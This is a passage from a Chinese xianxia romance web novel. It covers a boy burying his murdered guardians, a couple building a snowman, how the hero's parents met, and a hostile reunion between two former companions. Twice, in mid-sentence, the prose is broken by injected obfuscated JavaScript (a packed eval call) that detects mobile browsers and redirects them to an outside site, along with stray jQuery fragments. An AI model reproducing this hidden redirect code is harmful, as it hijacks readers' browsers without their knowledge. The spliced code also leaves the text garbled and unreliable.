漆黑一片,没有燃灯,这寂静的院子里竟有浓烈的血腥味萦绕。 对于血腥的恐惧让他的心跳骤然剧烈起来。 他呼吸急促,脸色因供血不足而苍白如纸。 头顶云翳移开,清辉泼洒而下,照清了满地殷红的血迹。 以及倒落在地的、哑巴和楚姨的残缺不全的尸体。 血迹流淌、干涸,痕迹一直延伸到他的脚下。 那竹编的鱼篓还静静放置在溪边,里头有鱼,或许是楚姨后来捞上来的,时不时发出细微清亮的戏水声。 谢尽芜的腿一软,双膝重重砸在被血水浸泡得松软的泥土里。 怀里的栀子花洁白漂亮,随着他惊骇昏倒的动作,一同摔落在血水中。 从此再也没有干净过。 - 谢尽芜将楚姨和青松都葬下。 他牢记他们的叮嘱,并不惊扰村镇的百姓,以免引人注意。而是自己动手,将他们二人葬在茅屋后头的竹林。 他年纪小,力气也弱,耗了将近一天才挖好坑,手心都磨出了血。 青松和楚姨静静地躺在坑底,是很沉寂很安详的模样,就像睡着了。 谢尽芜跪在地上,气息颤抖,眼眶酸痛。眼泪大颗大颗地滚出来,砸落在他们身上。 泪珠混入干涸的血迹,晕染出一片殷红的血渍。 他看了很久,无论如何都无法接受他们是死了。 小孩子的心智尚且不健全,生平第一次如此直观地面对死亡,茫然且无所适从。 谢尽芜没有将坑填上。他在坑边跪了一会儿,静静地一言不发,膝盖酸痛得很快就失去了知觉。 他跳进坑里,躺在青松和楚姨中间,像往常无数次那样,阖眼等待睡意涌上来。 他伸长手臂去握青松的手,骨节坚硬,触感冰冷,像是僵住了。 谢尽芜的心头一颤,连忙松手。 他浑浑噩噩地想:青松叔平时也干很多粗活,他的手本来就粗硬,这没什么的。 如此想着,他又去摸楚姨的手。 楚姨在渡亡世家的时候,是白灵宣的近身侍女,仅做一些梳妆之类的细腻活。只是照顾谢尽芜的这半年多,她才慢慢学着做饭、打扫。 谢尽芜摸到楚姨手心里的茧子,以及干涸的血。 他用袖子给她擦干净,擦了很久,又去擦拭她脸上和脖颈的血迹。 他就这样自欺欺人。 直到无意中擦过她的唇鼻,谢尽芜才蓦地意识到,楚姨早就没有呼吸了。 谢尽芜将坑填上,立了碑。 而后他跪在碑前,重重地磕了三个响头。 这是他第二次失去至亲。 这一年,他七岁。 75. 清和 翌日清晨,白璟瘫坐在廊檐下的竹藤椅中,长吁短叹。 他脸上的神情无比复杂,一脸噩梦后的心惊胆战。 那个梦里,一向脸黑如锅底的白令勋突然对他心慈面善起来,他战战兢兢地听白令勋唤了一声“我儿乖巧”,大掌堪称轻柔地摸了摸他呲毛的狗头。他还沉浸在这来之不易的父慈子孝当中,结果下一秒,白令勋就迫不及待地露出了真面目,一口气传给他数十只引魂铃,同时昭告全族,要将整个渡亡世家都托付给他。 白璟低头看去,梦里的他,雪底描金的衣袍上,赫然系了一条绣满咒文的青色玉带。 这噩梦来得太过真实,他大叫一声惊悚醒来,吓得在房间里暴走十八圈才压下心头的恐惧,以至于忽略了窗外悄然退去的黑影。 白璟浑身没骨头似的瘫在椅子上,脸都绿了。 吱呀一声,是堂兄房间的木门开了。 白璟坐直身子,一脸委屈,正要控诉自己的惨痛噩梦,却见一片裙角飘旋,竟是叶姑娘推门出来,而后有些困倦地揉了揉眼,转身回了自己的房间。 白璟脸现惊悚,一口热茶含在嘴里,咽也不是,吐也不是。 片刻后,他麻木地转过脸,咽下那口茶,像是咽下一口血,喃喃道:“我还没睡醒吗?” - 叶清圆回房间换了身衣裙,又洗了把脸,这才清醒许多。 她的衣裙都被谢尽芜揉皱了。昨夜其实聊得不算久,可不知怎么,谢尽芜又故态复萌地缠着她腻起来。 他也不开口,也不主动,就这么满脸渴求隐忍地盯着她看。叶清圆伸手帮他闭眼,叫他早点睡了,他的睫毛在她的手心轻轻地颤,又喃喃说自己心口很痛,委屈得不行。 叶清圆被他的无耻气笑了。 方才邪印发作的时候他死命隐忍着不吭声,此刻都快要好了,他却又说痛起来。 最后还是亲了几下才好。 外头北风呼啸,听着就冷,谢尽芜往床榻里面让了让,叶清圆纠结了一会儿还是钻进了被窝里,立刻被谢尽芜连人带被子抱在怀中。 两人面对面地躺着,听外头风雪急一阵缓一阵,檐角风铃清脆悠长。 因为拥得很紧,所以不觉得冷。 谢尽芜的掌心一下一下地抚着她的背,下巴眷恋地蹭在她的发顶,鼻端满是她身上的清甜香气。 他像是半点安全感都没有,非要与她十指相扣才肯入睡。结果十指相扣了还是睡不着,他的心跳声震耳欲聋,耳畔听到叶清圆逐渐平缓的呼吸声,一颗心喜欢得快要化了,直到天亮才涌上些许睡意。 早上叶清圆醒来的时候,就见谢尽芜半边身子都贴在她身上,挺直的鼻梁贴在她的脸颊,睡得正熟。 她动了动手臂,有些费劲地挣开他的桎梏。 她的衣裙在床榻上压得有些皱。转身看去,谢尽芜不知何时已经枕在了她的枕头上,侧脸被窗外雪光映照得清隽干净。 叶清圆走过去,看着他熟睡的模样,蓦地想起他的小字。 清和,清和。 谢尽芜竟然有这样的小字。 难怪他从不许她这样叫,原来是觉得难为情吗? 叶清圆有点想笑,心想,这简直是过分可爱了。 - 白璟又在竹藤摇椅上瘫了一会儿,才见叶清圆下楼来。 她从厨房里取来牛乳倒进茶杯里,又添了些他刚煮好的红茶,茶匙轻轻搅拌,笑道:“奶茶。” 白璟目瞪口呆,接过来很谨慎地抿了一口,顿时惊为天人:“难道叶姑娘真的是天才?” 叶清圆轻笑着摇头:“是我们那里很常见的喝法。” “初阳镇吗?我上次去那里的时候,没见过这样喝的啊。” 叶清圆抿唇笑了笑,转移话题道:“刚才我见你心情很不好的样子,怎么了吗?” “这……唉!” 白璟苦着脸将昨夜的噩梦告诉她:“我还从未做过这么真实的梦呢,醒来好久都是懵的。” 叶清圆若有所思道:“或许不是梦呢?” 白璟:“……更惊悚了!” 叶清圆道:“你听说过心影吗?” “略有耳闻。这道术法是渡真世家研制出来的吧,据说一开始只用来追踪、探查情报的,结果因为太缺德被禁了。”白璟思索道,“你是说,我之所以会做噩梦,是因为心影?” “昨晚谢尽芜也见到了一只心影,那只心影被破之后化作了白鹤。” 她提昨晚,白璟就想起她清晨时从谢尽芜的房间里出来,顿时又脸红地扭过头去。 顿时又反应过来:“不对啊,这道术法除了施术者本人之外,其他人是破不了的。堂兄竟然能破心影吗?” 叶清圆摇头:“我们猜测这与他所中的邪印可能有点关系。他的邪印,或许可以克制心影。” “心影是渡真世家研制出来的术法,堂兄无论如何也和渡真扯不上关系啊。白鹤、白鹤……” 白璟琢磨了一会儿:“说起这个,不知姑娘是否听闻过,谢氏一族尊崇白鹤。” 叶清圆不曾听闻,在她看的版本里,谢氏一族已经被灭门了。 白璟回忆道:“我们族里的祠堂中,挂有历代宗家子女的画像。其中有一幅画,是姑姑和姑父的。” 也就是白灵宣和谢拱辰。 “我很小的时候就被抓去祠堂里认人,那时候什么也不懂,只挑着好玩的看。他们其实都穿着差不多的衣服,雪底描金,胸口有振翅青鸾。可唯独姑父的衣服不一样。” 白璟比划了一下:“他的大袖上有三道墨色暗纹,袖口、衣摆处有墨色滚边,毛茸茸的,乍一看去,就像鹤羽。父亲跟我讲,那是谢氏一族的袍服,白鹤寻仙。” 檐下风铃清脆响动,谢尽芜不知何时站在二楼的木栏旁,静静地看着他们。 叶清圆的脸上露出笑容:“你醒来啦?” “嗯,”谢尽芜踩着木梯走下来,在茶桌旁坐下,“在谈什么?” 白璟摸摸脑袋:“没什么呀,在聊姑姑和姑父的事呢。” 谢尽芜的脸色冷冷的,眼潭沉静幽邃,还有些没睡醒的倦意:“说来听听。” 他多年不与渡亡世家来往,此时也纯粹是好奇。 他其实很少从别人口中听到父母的事。 谢拱辰和白灵宣,就好像是被人刻意抹去了存在一样,他去过很多地方,却都找不到关于他们的任何讯息和传言。 叶清圆托着下巴看他,见他低垂的长睫下藏着小心翼翼的渴望,心中蓦地一阵柔软。 白璟清了清嗓子,斟酌道:“这些事,我也是听族中的长辈们讲过的。授课时,长辈们一直都将姑姑当作族中子弟的榜样。” “父亲也讲过,他们那一代的子弟中,姑姑才是最有天赋的。那时候他们要结队外出收魂,有些魂魄破碎不堪,还有些怨恨太重,难以应付。可唯有姑姑天赋与能力皆是过人,一支引魂铃,能渡方圆十数里的残魂。” 白灵宣的心思太玲珑了。族中长辈们打太极的功力炉火纯青,惯于话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787386|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留三分让年轻人们自己去悟。可不管他们说什么,白灵宣眼珠一转也立刻心领神会,把事情办得妥帖稳当。那时渡亡世家都把她当作下一任家主培养。 而白令勋,只是她的副手而已。 白璟笑道:“可是姑姑不喜欢待在渡亡世家,她说家里太闷了,死人比活人还多。看着热闹,可其实只是闹,站在烈日之下都叫人觉得冷飕飕的。所以她总是跑出去玩,经常十天半个月的都不回来。后来不知什么时候,姑姑竟就和姑父成婚了。” “没有人知道他们是怎么认识的,也没人知道他们住在哪里,姑姑不肯讲。”白璟回忆道,“只是听说那天族中长辈们有的郁闷有的发火,还有脾气火爆的,恨不得提着引魂铃当场渡了……咳,可最终还是心软松了口,派人送去了好多贺礼,又派了姑姑从前的贴身侍女阿楚、还有族中侍卫青松亲自过去,生怕姑姑缺衣少穿,受了委屈。” 谢尽芜很安静地听着,中途没有说一个字。 白璟又笑:“直到两年后,姑姑和姑父抱着刚满月不久的堂兄回来探望,长辈们才终于放了心。” 因为他们亲眼看到的,白灵宣眼睛亮亮,脸颊红红,面上洋溢着的是过去十几年里都不曾有过的幸福与惊喜。 她不肯再与亡魂打交道,也不喜欢住在太喧闹的地方,谢拱辰便专门为她圈出一片山头,僻静却不荒芜,亲手将她照顾成了一个养尊处优、天真娇憨的小妇人。 自家的姑娘过得好不好,从脸上就看得出来。只要她开心,就算不肯承接家业、也不再引渡亡魂也无所谓。 反正家里有的是人为她兜底。 也是从那个时候,渡亡世家看到谢拱辰那身白鹤寻仙的衣袍后,才终于搞清楚,原来白灵宣嫁的是谢氏族人。 可惜再往后讲,就是灭族惨案了。白璟很知趣地住了口,转而哭丧着脸道:“姑姑就可以随意外出、想不学就不学。我就不可以,凭什么?难道渡真世家就没人了吗?” 他嘟囔了一会儿:“我也不想成天和亡魂打交道啊,其实也怪吓人的。” 事死如事生。白璟的心态明显没有转变过来。 他又说:“姑娘或许觉得我那两个侍卫挺吓人的吧?唉,其实他们已经是我精挑细选过的最为俊俏的人了。” 叶清圆差点把茶喷出来。 三人又聊了些别的,都是些闲谈的话。叶清圆非要谢尽芜尝尝她做的奶茶,谢尽芜很配合地饮了一口:“味道很好。” 白璟附和道:“我觉得这种喝法可以拿到酒馆和大家分享一下。” 叶清圆戳破他:“主要是和雁含妹妹分享吧。” 白璟笑得害羞:“没那回事。” 叶清圆被他这种青涩感染,也禁不住眉眼染上笑意。 谢尽芜的目光落在她脸上,本就有些倦意的眼眸此刻添了几分阴沉。 和别人也笑得这么开心。 叶清圆无知无觉,她看着院子里缀满枝头和青砖的雪,偏过脸笑道:“谢尽芜,我们去堆雪人吧?” 谢尽芜不太理解她的这些乐趣,但是无限度地纵容。他眨眼掩去眸中的阴郁,放下茶杯说好。 叶清圆笑意盈盈地看向白璟:“要一起吗?” 话音落下,谢尽芜的目光也随之落在了白璟身上。 白璟顿时觉得脖子冷飕飕的,摆手婉拒道:“不、不必了,待会我和雁含妹妹还有约。” 他伸手向外指了指,鬼鬼祟祟起身,连忙溜了。 开玩笑,谁要和你们一起堆雪人啊! 76. 雪人 谢尽芜将满地的雪滚成一只胖乎乎的球,堆在那株含苞待放的红梅树下。 他的手指白皙修长,碰了好久的雪,冻得指骨关节有些微红。叶清圆也好不到哪里去,呵出的白雾将睫毛沾得潮湿了,偏偏脸颊红红,笑意盈盈的。 她抬手在雪人的肚子上拍了拍,将那一点细碎的雪沫子抚平,柔声道:“这是我们第一次一起堆雪人呢。” 谢尽芜抬起眼,好干净的眸光,好清隽的少年。 他眨了眨眼:“也是我的第一次。” 流光山馆也会下雪,可是他的父母那时还不懂养孩子,只对他过度保护,从不舍得叫他碰雪。雪帘细密飘洒,白灵宣和谢拱辰在院子里笑吟吟地打雪仗、堆雪人,他孤零零地坐在温暖的暖炉前,听着木炭发出的荜拨声,觉得自己好像是买炭火送的。 过度保护又能如何呢。他后来照样会吃那些苦头,寒冬腊月里只穿一件薄薄夏衫,瑟缩在城隍庙的角落里,冷得快要失去知觉,结果也就那么捱过来了。 叶清圆的手指上沾了雪,笑着蹭在他秀挺的鼻梁上,语声轻轻。 “没关系,以后我们还会有无数次。” 谢尽芜看着她红润的脸颊,很想伸手摸一摸,又反应过来他的手指太冰,恐会冷伤了她柔嫩的脸颊。 他眼中笑意点点:“好。” 叶清圆蹲在树下,将白雪又滚成一个小点的球,按在了雪人的身体上。 “说起来,我特别小的时候看过一场戏,叫做《雪孩子》。” 她的手心托在雪人圆润的脸颊,用很温柔的声音说道:“故事发生在冰天雪地的冬季,小兔子的妈妈有事外出,为了不让小兔子感到寂寞,就堆了雪孩子陪她。” “雪孩子特别可爱,小兔子在树洞里睡觉的时候,它会自己出去玩耍的。可是当它走近树洞的时候,却见那里燃起了大火。” “小兔子还在熟睡。雪孩子为了拯救她,纵身跃入火海之中。”叶清圆的唇边露出一抹悲伤的笑容,“它的身上开始滴水,我那时候还小,傻傻地以为它在哭或者在流汗,后来才知道是高温让它开始融化。” 她将两颗龙眼按在雪人的脸上,乌黑发亮的眼珠。 谢尽芜看着她:“后来呢?” “雪孩子为了救小兔子,融化成一滩洁净的水。再然后,就变成了水汽。” 这个故事其实很感人,可是她讲得一点都不动听,平铺直叙。叶清圆的手指摸了摸雪人的脸蛋,未免有些挫败感。 也不知谢尽芜能否领会这个经典故事的动人之处。 谢尽芜却听得很认真,问道:“它消失了吗?” “没有呀,只是以另一种形式存在而已。它变成了天上的云,变成了山涧的雾,或许到明年冬天,还会变成雪,重新回到小兔子的身边。” 话虽如此,当年看完这部电影之后,她就再也不想堆这么大的雪人了,只堆那种巴掌大的小雪人,谨慎而珍重地放进冰箱,每晚都要确认它无虞,才肯回房睡觉。 叶清圆从厨房里挑出一只扁扁的竹筐,扣在雪人的脑袋上:“又开始下雪了,雪人也要戴帽子啦。” 谢尽芜在她清脆的笑声中茫茫想道:失去的,总是会以另一种形式回来。 他的目光落在雪人圆胖的身躯,细雪很快又覆盖了一层,亮莹莹的闪着碎光。 她呼出的白雾在眼前交织,宛如一缕淡薄的云。 叶清圆转过脸来,很温柔地问:“方才白璟说不知道姑姑、姑父是怎么认识的,我也有点好奇,可以告诉我吗?” 谢尽芜的眼睫颤了颤。 她看出他凝重的心思,知道他方才对父母的思念,却并不说破。 她笑盈盈地给他讲了个雪孩子的故事,告诉他失去的其实并未消散,始终会以别的形式陪伴着他。 她句句不提爱,字字在讲爱。 她又话锋一转,说她很好奇:白灵宣和谢拱辰究竟怎么认识的?一定是一段很美好的记忆吧,他可不可以讲给她听。 轻而易举,就叫他心头萦绕的阴霾消散。 叶清圆笑意盈盈地看着他,鼻尖被冷风吹得微红,却那样灵动可爱。 谢尽芜眼睫低垂,拼命忍下了想要吻她的冲动,却按不住自己疯狂躁动的心跳。 他闭上眼,神情虔诚有如献祭。 他像是个心甘情愿被她哄骗、由着她攻城略地的昏君,纵然此刻临死,他也绝不后悔。 “他们相识于一场修真法会。” - 白灵宣那时还尚未离开渡亡世家,她作为家族中身负众望的青年子弟,被揪去参加修真界二十年一度的法会。 说是法会,其实不过是听一群迂腐的老头讲经念道。各世家宗门都不肯暴露实力,所以派来发言的也都是些太极高手。 那次讲经的玄衣老道也不知是哪家珍藏多年的老古董,讲话尤其冗长枯燥,废言甚多。白灵宣听得意识昏沉,干脆矮身偷溜出门。 ——临到门口时却走不动了。 她的青色玉带竟绕在了一个白衣剑修的剑穗,咣当一声扯倒了人家的剑。 满室的目光霎时都被此处吸引,连那老道的声音都顿住了。 白灵宣躲在这白衣剑修身后不敢抬头,羞耻得恨不得找个地缝钻。幸好那白衣剑修面色如常地扶起长剑,脸色沉静得如冰如雪,成功地掩盖住她的羞惭。 众人略感无聊地收回目光。 白灵宣低着头想解开玉带和剑穗的结,却怎么也成功不了。那白衣剑修腰背挺拔,目不斜视,根本没有出手的意思。 白灵宣戳了戳他的手臂,恼怒道:“喂!你叫什么名字?” 白衣剑修偏过脸看她,淡声道:“谢拱辰。” “谢拱辰,”白灵宣一指,“你,跟我一起去外面。” 谢拱辰的眉心很轻地蹙起。他觉得好莫名其妙,这姑娘怎么有些不讲道理? 结果下一秒,白灵宣就拽着他墨色的衣袖,不由分说地要他一起出去。 谢拱辰被她扯得身子一歪,连忙拿起剑,和白灵宣一块出了念道堂。 堂外麓花如霞。谢拱辰低着头认真解结,动作轻柔,修长的手指很谨慎地不碰到她的衣裙。 他不敢在这姑娘面前表现出无奈的样子,毕竟失礼,只沉默地在心里不住叹气。 白灵宣坐在石头上眯眼看山花,浑不在意,还慢条斯理地吃了一只甜脆的杏子。 她的青色玉带上银线勾缠,还镶嵌了许多细碎的灵玉和珍珠。谢拱辰费了好大力气才解开,这才抬起眼来,本想致歉。却见白灵宣将杏核丢在一旁,眼中含笑地看着他。 谢拱辰顿时就有些不自在:“姑娘有事吗?” 白灵宣打量着他:“你是哪家的?为什么穿这样的衣服,之前从来没见过你呀。” “谢氏一族,居于冽雪山谷之中。”谢拱辰解释道,“我们族中之人不常外出,因此姑娘才没有印象。此次我来参加法会,也只是路过一观而已,还望姑娘勿要声张。” 白灵宣颔首:“难怪你生得这么白,鼻梁也高,原来是冻的啊。” 谢拱辰脸颊腾的红了,干笑两声:“姑娘讲话,真是……风趣。” 白灵宣不甚在意地笑了笑,她的唇瓣红润饱满,笑意烂漫而天真:“这老头讲起话竟比我家的先生还无趣。谢拱辰,我们不要听了,去山里看花吧?” 他那时连她的名字都不知道,被她眉眼含笑地一怂恿,就敢丢下修真法会不听,和她一起跑去看山花。 后来谢拱辰在流光山馆种满花树,他准备了足足半年,待到漫山繁花的那一刻,他才心怀忐忑、却郑重认真地和白灵宣讲:“白姑娘,我们一起去看花吗?” - 叶清圆笑了笑,一双端丽的眼亮得像星星:“真好啊。” 谢尽芜的眼眸中也有零星的笑意,许久后才轻声问:“为什么会对这个好奇?” “他们是你的家人呀,我喜欢你,就想要了解你的全部。” 谢尽芜被那句喜欢砸晕了头脑。 他将这两个字在脑海里反复回味了好几遍,又确认道:“是喜欢我,而不是可怜我,施舍我?” 叶清圆看着他的眼睛:“不是可怜,不是同情,更不是你自以为的施舍。我对你说过的每一个字,做过的每一件事,都是因为你本身就是特别好的人,你值得我这么做。” 她又笑起来:“当然,就算你没那么好,我也喜欢。” 短暂的失神过后,谢尽芜干笑了一声:“我的全部。许多事情对你而言都不堪入耳,不值得让你费时间了解。” “怎么能这么说呢?” 叶清圆哄着他:“或许你觉得从前的某些回忆是痛苦、麻木,甚至不堪回首的。可是在我看来,这些经历无论好坏,都融入了你的血肉筋骨中,成就了此刻的你啊。” 她捧着他的脸,冰冷的手心故意揉了揉他的脸颊:“不要总是沉溺于过去的痛苦里,人是要往前看的。你是那么好的人,应该永远幸福下去。” 谢尽芜的嗓音发涩:“……你觉得我很好吗?” 叶清圆笑着吻了他一下,柔声道:“你最好。” 谢尽芜很想装作镇静的模样,可是他的肢体反应早已将他出卖。 待回过神来的时候,他竟已捞过她的腰,死死地将她抱在了怀里。 叶清圆猝不及防跌坐在他的腿上,手臂下意识环住他的脖颈。 “哎呀,你……” 细密的吻急促落在她微凉的脸颊和唇瓣。 他的吻很轻,不掺杂任何欲.望,却尤为激动。气息颤抖,带着依赖,缠绵得好像两个寒冷许久的人拥在一起互相取暖。 谢尽芜与她额头相抵,气息纠缠。 叶清圆拍了拍他结实精瘦的肩头,笑道:“这么喜欢我吗?那看来在你的心目中,我也是特别好的人了?” “你也最好。” 她扬眉笑得更得意:“那当然咯。我可是这世上独一无二珍贵的叶清圆。” 又看他,轻声笑道:“你也是这世上独一无二珍贵的谢尽芜。” 所以,不要再自贬自抑,她会小心翼翼地将他捧在手心。 谢尽芜不懂得说那些甜言蜜语,只是不住地亲吻她的唇瓣和下巴,热烈而赤诚地表达着自己的喜欢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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是他心有杂念,因而感到羞愧,感到狼狈。 人在尴尬的时候就是会很忙。叶清圆忙忙碌碌地找了胡萝卜头,给雪人做鼻子,又挑了两段利落漂亮的松枝给它做手臂。 天气很冷,她干脆解下自己毛茸茸的围脖,围在了雪人的身上。 两人各自沉默了片刻,幸好天冷雪寒,勉强是恢复了平静。 “可惜没有叶子做头发,我们雪人这么可爱,怎么可以是秃头啊。” 叶清圆皱着脸想了想,眼睛忽然一亮:“诶,我有一个办法!” 谢尽芜盯着她红肿的唇还没回过神,她一阵小旋风似的旋进了屋里,回来的时候手中竟拿着那支在金璧城买的雪竹绒花。 “没有叶子,但是有雪竹呀。” 她将绒花簪进那只扁扁的竹筐,拍手道:“嗯,很漂亮!” 细雪静谧地落。 谢尽芜目不转睛地看着她,满涨的爱意快要从乌亮的眼眸中溢出来。 想触碰她,想拥抱。想牵她的手,还想接吻。 想看她笑意盈盈地站在春水池畔、莲塘花间、柿子林中。簌簌的飞雪飘落在她柔软的发。他想要和她一起白头。 满心的喜欢与日俱增,就像涨潮一样将他淹没。他觉得她怎样都可爱,怎样都喜欢。就算她此刻忽然发火冲着他一巴掌扇过来,他也会觉得她好有力气,好有脾气,是活泼灵动的充满朝气的姑娘。 他刚念了清心咒,此刻目光却像是黏在了她的身上,怎么样都撕不下来。 想将她永远禁锢在他亲手打造的牢笼中。 不管山外光阴如何流转,她永远待在他精心制作的金丝笼里,那些甜言蜜语只对他一个人讲,只对他一个人笑,就连生气的模样,也只有他可以看到。 他要她永远陪在他的身边。 一阵冷风吹过来,雪更大了,冰冷的雪沫子钻进他的衣领。 谢尽芜顿时一惊。 他垂下眼睫,为自己会产生这样疯狂的想法而感到心惊胆战。 我真是疯了。 他的胸腔里传来剧烈的心跳声,我竟然爱她爱到失去理智了么? “这支绒花簪还是雪竹的呢,戴在雪人头上正合适……就是有点绿绿的。” 叶清圆仰起脸来,弯弯的眼眸中盛满了笑意,波光粼粼:“好看吗?” “……好看。”谢尽芜的目光始终落在她的脸上。 “你也太敷衍了。”叶清圆不高兴道,“我问的是雪人,你总看我做什么?” 谢尽芜不答,似有些认命地扯出一抹笑容。 他神思恍惚,意乱情迷,就算闭上眼睛,脑子里转的也都是她的身影。 叶清圆有些不开心:“怎么回事啊,忽然神思不属的。难道你觉得这支簪子不好看吗?我告诉你,你的意见是无效的。” 有什么办法能让她永远喜欢自己吗? 让她的眼里只看得到他一个人,只对他好,只为他露出这样漂亮的笑容。 他不奢求爱,因为自觉不配拥有。只要她的一点点喜欢,就已经足够。 叶清圆脸上的神情有些担忧,她两只手按住他的肩膀,用力晃了晃:“喂,谢尽芜!你的脸怎么红了?糟糕!莫非你是被邪祟附身?好你个浓眉大眼的谢尽芜,竟敢背着我……” 这都什么跟什么? 谢尽芜越听越忍不住蹙眉,他俯下.身,忍无可忍似的,再一次吻住了她柔软凉润的唇。 77. 师弟 竹林,夜雨。 细密的雨点砸在油毡顶,灯火在冷风中飘摇。 这是山道附近唯一的茶摊。此时孤月高悬,秋雨凄冷,茶摊老板裹紧外衣缩在草庐里,时不时看向窗外棚下的那位客官。 客官是位姑娘,唇红肤白,可惜眉宇间都是郁色。她的乌发里斜插一支乌木簪,簪顶系墨色飘带。宽袍大袖,袖摆有泼墨山水,腰带里还别着一支玉笛。 玉笛十分漂亮,应该能值不少钱。 夜深雨凉,他都要收摊了。要不是这位客官给的银两实在够多,他才不会专程去烧水煮茶。 客官似乎察觉到他打量的目光,手指微动,木窗咣当一声关得严实。 老板顿时吓得心如擂鼓,连忙转身,不敢再看。 顾九枝在冷雨里等了将近一刻钟,山道拐角终于走来一位青年人。雪白的手中撑一柄油纸伞,秋雨红枫,雨声沙沙。 伞面压低,遮住他的眉眼,微红的唇角不带一丝笑。 正是顾雪庭。 短短百米的山道,他撑伞走过来的时候,漫长得好像过了许多年。 顾九枝端茶喝了一口,茶水里溅了秋雨,一股冰冷的怪味。她闭上眼,压下舌根漫出的苦涩。 顾雪庭收伞坐下,顾九枝同时抬眸,她的半身都隐在茶棚投下的阴影中,神色晦暗不明。 二人相顾无言。 片刻后,顾九枝道:“师弟。” 顾雪庭将伞柄靠在茶桌,温柔出声:“师姐孤身前来,也不怕我杀了你?” “我若不是孤身,你肯与我相见吗?” 秋雨更急了,打在棚顶激出沙沙一阵响。 山道泥泞,道旁的翠竹被摇晃的风灯映照得宛如翡翠般透绿。 那把伞上的红枫被雨打湿,红得像血。 顾九枝问:“什么时候开始画红枫?” 顾雪庭偏过脸去笑,几分嘲弄:“你亲自将我逐出渡真世家的时候。” “你杀了宋雨阁,我不逐你,无法服众。” 顾九枝淡声道:“你犯了这么多错,唯有这一件,不可原谅。” 顾雪庭笑得挑衅:“哦,其他的错就都可以原谅吗? 顾九枝的眉头抽动:“你心怀仇恨,我可以体谅。” 这句话像是触怒了他,顾雪庭盯着她低垂的眼睫,搁在茶桌的手指微微颤抖着。 他的声音很轻,却带着冷意:“你再说一次。” 顾九枝不看他:“但无论如何你也不该杀宋雨阁,他是我的师弟。而且,当年之事他并不知情。” 顾雪庭脸上的淡然冷漠终于绷不住了:“又是师弟。师弟师弟,你到底有多少好师弟!你说他完全不知情,可当初叫嚣着要杀掉我的不是他吗?” 顾九枝道:“若你在意的是这个,我只能告诉你,换作任何一位渡真世家的子弟,都会劝我趁早除掉你,以绝后患。” 顾雪庭怒极反笑:“那我还要感谢顾师姐的不杀之恩了?是师姐多年来的庇护,才叫我生不如死、苟延残喘到今天?” “……你早已名列宗祠族谱,谁也没有资格杀你。”顾九枝抬眼,“你呢,你是什么时候对我起了杀心?” 又是一阵沉寂。秋雨被山风吹着,溅湿了茶桌边缘和两人的衣摆。 顾雪庭勉强压下了怒意,轻声道:“你还记得我们在枫林酒馆的日子吗?” 顾九枝的眉头抽动了一瞬,似乎没料到他会突然提起这个。 她当然记得。 枫林酒馆的雪蓬软得就像糖霜,他们在除夕夜的酒馆里和许家庄的百姓们喝得酩酊大醉,出了酒馆却双双栽倒在松软的雪地里,天旋地转一时谁也站不起来,看着对方满头满身的雪,彼此笑得没心没肺。 那时候整个许家庄只有她会打叶子牌,众人便开玩笑说,金枝姑娘气度不凡,必定是富贵人家的小姐,或许还是皇宫里的人呢? 那里天高皇帝远,所谓皇宫、所谓世家,不过是仅存在于众人口中的一个称号罢了,谁也不会当回事。外头的风暴与争斗再激烈,也吹不进冽雪山谷。 金枝就耸耸肩,很无所谓地笑:是呀,说不定我还是位公主呢?可那又如何,现在我是金枝。金枝姑娘和你们打叶子牌,你们待会就算输掉裤子也不许耍赖啊! 结果输得叮当响的,只有她。 那些抛却前尘、无爱无恨的时光,如今回忆起来,就好像是一场可遇不可求的梦,醒来便成空。 顾雪庭似乎也想到了那些往事,唇角扯起一抹凄冷的怀念之意:“你特别喜欢打叶子牌,牌技奇差,逢玩必输,可是你又不肯服输。有一次雪下得大了,你喝得醉醺醺的,输了好多东西,头上的金簪、手腕的玉环,甚至将我的玉笛都输掉了。到最后,你输无可输,竟从袖笼中取出一张令牌。” 顾九枝皙白的手指颤抖了起来。 “那令牌上嵌了一块玉,玉是好玉,能值不少钱。我猜那东西对你来说肯定很重要,就私下里拿别的物件换了回来。” 顾雪庭说到这里,露出自嘲的神色,紧接着眼中凝起恨意:“顾九枝,你能不能告诉我,我到底该恨什么?” “恨我那时太多管闲事?恨你不够谨慎、不懂得将令牌藏好?还是恨那天晚上的月光太亮,雪光太亮,让我一眼看清那令牌上刻着的‘渡真’二字?” 顾雪庭嗤笑道:“你知道当我看到这两个字时是什么心情吗?我恨不得当场就杀了你。” 顾九枝轻声:“这种情况不是你早该预料到的吗?那个时候,除了渡真世家,还有谁会去冽雪山谷?” 顾雪庭的笑容里有些苦涩,“那是我心存侥幸,以为你只是渡真世家的一名弟子罢了,却没想到你竟是家主。若我早知你就是顾九枝,怎么可能留你活到今天!” 顾九枝道:“你不是看过我的家主令么?既然知晓我是家主,又为何不趁机杀掉我,一了百了。” 顾雪庭冷哼:“我不屑于趁人之危,我要你清醒着为我族之人偿命。” “是吗。”顾九枝狠狠闭了一下眼,“其实你亦对我有所隐瞒。分明什么都记得,却佯装失忆待在我身边将近十年。我问你,骗人的滋味难道很痛快吗?” 她的衣袖都被冷雨淋湿了,冰冷黏腻地贴在手腕上,却浑然不觉。 “那时在许家庄,你就一直郁郁寡欢。我还天真地以为你只是失忆后的茫然与无所适从。现在想来,你那时满腔的怒火与仇恨无处宣泄,只能强颜欢笑与自己的灭族仇人朝夕相处,那份无力与自责,一定让你恶心透了吧?” 顾雪庭的手握紧了剑柄,指骨攥得咔咔作响。 “其实你有很多次机会可以杀了我。就像我说的那样,我那时毫无防备,只需一剑就可以结束我的性命。既然你恨透了我,那么就不该犹豫。” 顾雪庭:“我才不会杀你……我只要你的那些师兄师弟、长老前辈们全部死在我的剑下。” 